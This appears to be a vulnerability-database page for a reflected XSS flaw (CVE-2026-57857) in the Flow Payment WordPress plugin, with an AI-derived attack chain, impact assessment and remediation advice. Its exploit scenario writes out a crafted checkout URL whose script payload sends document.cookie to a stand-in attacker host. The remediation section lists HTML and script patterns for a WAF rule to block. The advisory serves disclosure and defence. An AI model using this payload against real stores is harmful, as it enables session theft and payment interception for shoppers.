Flow Payment
CVE-2026-57857
MEDIUM
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker crafts checkout cancellation URL with XSS payload in error_message
-
DeliveryDistributes link via phishing or embedded redirect targeting store customers
-
ExploitVictim with active WooCommerce checkout session clicks link
-
InstallWordPress processes GET request through Flow Payment cancellation handler
-
C2Plugin passes unsanitized error_message to wc_add_notice() and renders it as checkout HTML
-
ExecuteJavaScript payload executes in victim's browser under WordPress site origin
-
ImpactAttacker exfiltrates session cookies or manipulates checkout form
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The victim must have an active WooCommerce checkout session on a WordPress site running the Flow Payment plugin version 3.0.8 - specifically, the victim must have items in their cart and be at the checkout stage for the cancellation handler to fire and render the notice. The attacker must supply a valid add-to-cart product ID alongside cancel_order=true and the XSS payload in the error_message GET parameter; without a valid product context, the cancellation handler may not be invoked. The victim must be socially engineered into clicking the crafted URL (CVSS UI:R - active user interaction required). Exploitation does not require any attacker authentication (CVSS PR:N), but the victim's browser must have an authenticated or guest WooCommerce session cookie to reach the checkout page where the notice renders. Limiting factors: the social engineering dependency prevents passive or automated mass exploitation; the victim session requirement means unauthenticated or non-shopping visitors are not useful targets; and the plugin's regional specificity to Chilean payment flows limits the pool of vulnerable installations globally. |
| Impact | The CVSS 3.1 score of 6.1 (Medium) accurately captures the risk profile: network-exploitable (AV:N), low complexity (AC:L), no attacker privileges required (PR:N), but mandating active victim interaction (UI:R) and producing only limited confidentiality and integrity impact (C:L/I:L/A:N). The UI:R requirement is the primary real-world mitigating factor - this is a social-engineering-dependent attack that cannot execute passively or at scale without the victim clicking a crafted URL while in an active WooCommerce checkout session. No EPSS score was provided in the input data, precluding probabilistic exploitation rate comparison. This CVE is not listed in CISA KEV, confirming no known active exploitation at time of analysis. No POC code is referenced in available data, though the fully disclosed parameter name and code location in the VulnCheck advisory make independent reproduction trivial. Practical impact is scoped to the affected WordPress site's origin: realistic consequences include session cookie theft, checkout form manipulation to redirect payments or harvest card data, and phishing overlay injection. The plugin's apparent concentration in Chilean e-commerce (flow.cl is a Chile-specific gateway) limits global footprint but may concentrate risk in Latin American WooCommerce deployments. Overall: medium-priority - not an immediate mass-exploitation risk, but straightforwardly weaponizable by a motivated attacker targeting specific stores. |
| Exploit ScenarioDerived | An attacker targeting a Chilean e-commerce site running the Flow Payment plugin crafts a URL such as /checkout/?add-to-cart=123&cancel_order=true&error_message=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> and delivers it to customers via phishing email or a malicious link embedded in a product review. When a logged-in customer or guest with an active WooCommerce checkout session clicks the link, the plugin renders the payload as an unescaped checkout notice and the JavaScript executes under the WordPress site's origin, enabling session cookie exfiltration or real-time checkout form manipulation to intercept payment credentials. No public proof-of-concept code exists, but the attack requires only knowledge of the disclosed parameter and a standard XSS payload. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 18, 2026
Reflected XSS in the Flow Payment WordPress plugin version 3.0.8 allows unauthenticated attackers to execute arbitrary JavaScript in a victim's browser by embedding a payload in the error_message GET parameter of the WooCommerce order cancellation URL. The plugin's cancellation handler in flowpayment-fl.php passes this parameter directly to wc_add_notice() without sanitization or output escaping, rendering attacker-controlled content as HTML in the checkout page. No public exploit code has been identified at time of analysis, but the attack is trivially constructable from the fully disclosed parameter name and code path published in the VulnCheck advisory.
RemediationAI
No vendor-released patch has been identified at time of analysis - neither the flow.cl vendor site nor the VulnCheck advisory references a fixed plugin version. Site administrators should consider temporarily deactivating the Flow Payment plugin until an updated version is available, accepting the trade-off of losing checkout payment functionality in exchange for eliminating the XSS exposure. As a compensating control without disabling the plugin, deploying a WAF rule that rejects or strips HTML tags and JavaScript event handlers (script, onerror=, onload=, javascript: schemes) from the error_message parameter on requests matching /checkout/?cancel_order=true can reduce exploitation risk; note that aggressive WAF rules may cause false positives if legitimate gateway error messages include special characters. Developers with direct plugin file access can apply a minimal source-level fix: replace the raw $_GET['error_message'] read at flowpayment-fl.php lines 57-58 with sanitize_text_field(wp_unslash($_GET['error_message'])) for input sanitization, and ensure the value passed to wc_add_notice() is escaped with esc_html() before any HTML rendering. Monitor the WordPress plugin repository and https://www.flow.cl/ for an official patched release. Reference: https://www.vulncheck.com/advisories/flow-payment-plugin-for-wordpress-reflected-cross-site-scripting-via-error-message-parameter.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is the Flow Payment plugin (CPE: cpe:2.3:a:flow:flow_payment:*:*:*:*:*:*:*:*) - a WooCommerce payment integration for the Chilean gateway flow.cl. At flowpayment-fl.php lines 57-58, the plugin's order cancellation callback reads the error_message GET parameter and passes it unsanitized directly to wc_add_notice(), a WooCommerce function that renders user-facing notices inside the checkout page HTML. Neither WordPress input sanitization (sanitize_text_field() or wp_unslash()) nor output escaping (esc_html() or esc_attr()) is applied at any point in the data flow. This is a canonical CWE-79 (Improper Neutralization of Input During Web Page Generation) reflected XSS: user-supplied input is reflected into an HTML context in the same HTTP response cycle without encoding, enabling script injection scoped to the WordPress site's origin. The scope change in the CVSS vector (S:C) reflects that the payload executes under the WordPress origin in the victim's browser, crossing the boundary from the plugin's component into the broader browser session context.
Know when Flow gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Crafted URL exploitable over network with no attacker privileges (PR:N); victim must click link (UI:R); payload executes in WordPress browser origin causing scope change (S:C) with limited data and DOM impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
The Flow Payment plugin for WordPress (flow.cl) version 3.0.8 is vulnerable to reflected cross-site scripting on the WooCommerce checkout page. When the plugin handles an order cancellation, the error_message GET parameter is passed directly to wc_add_notice() in flowpayment-fl.php (lines 57-58) without input sanitization (for example sanitize_text_field()) or output escaping (for example esc_html()) before being rendered in the checkout notice HTML. An unauthenticated attacker can craft a URL containing a JavaScript payload in the error_message parameter (for example /checkout/?add-to-cart={product-id}&cancel_order=true&error_message={payload}); when a victim with an active WooCommerce checkout session follows the link, the payload executes in the victim's browser in the origin of the WordPress site.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
Authorization bypass in Windmill 1.56.0-1.614.0 enables Operator role users to escalate privileges to remote code execut
The mintToken function of a smart contract implementation for Flow, an Ethereum token, has an integer overflow that allo
A stored cross-site scripting (XSS) vulnerability in TotalJS Flow v10 allows attackers to execute arbitrary web scripts
Improper cryptographic implementation in Samsung Flow for PC 4.9.14.0 allows adjacent attackers to decrypt encrypted mes
Improper cryptographic implementation in Samsung Flow for Android prior to version 4.9.04 allows adjacent attackers to d
Insecure temporary directory usage in frontend build functionality of com.vaadin:flow-server versions 2.0.9 through 2.5.
Local File Inclusion in the Elated-Themes 'Flow' WordPress theme (all versions up to and including 1.8) lets an authenti
Vulnerability in OSGi integration in com.vaadin:flow-server versions 1.2.0 through 2.4.7 (Vaadin 12.0.0 through 14.4.9),
Unsafe validation RegEx in EmailField component in com.vaadin:vaadin-text-field-flow versions 2.0.4 through 2.3.2 (Vaadi
Authentication.logout() helper in com.vaadin:flow-client versions 5.0.0 prior to 6.0.0 (Vaadin 18), and 6.0.0 through 6.
Improper verification of intent by broadcast receiver in Samsung Flow prior to version 4.9.17.6 allows local attackers t
Improper input validation in Samsung Flow prior to version 4.9.17.6 allows local attackers to access data within Samsung
NVD
CVE.org
EPSS
VulDB
GitHub PoC
Exploit-DB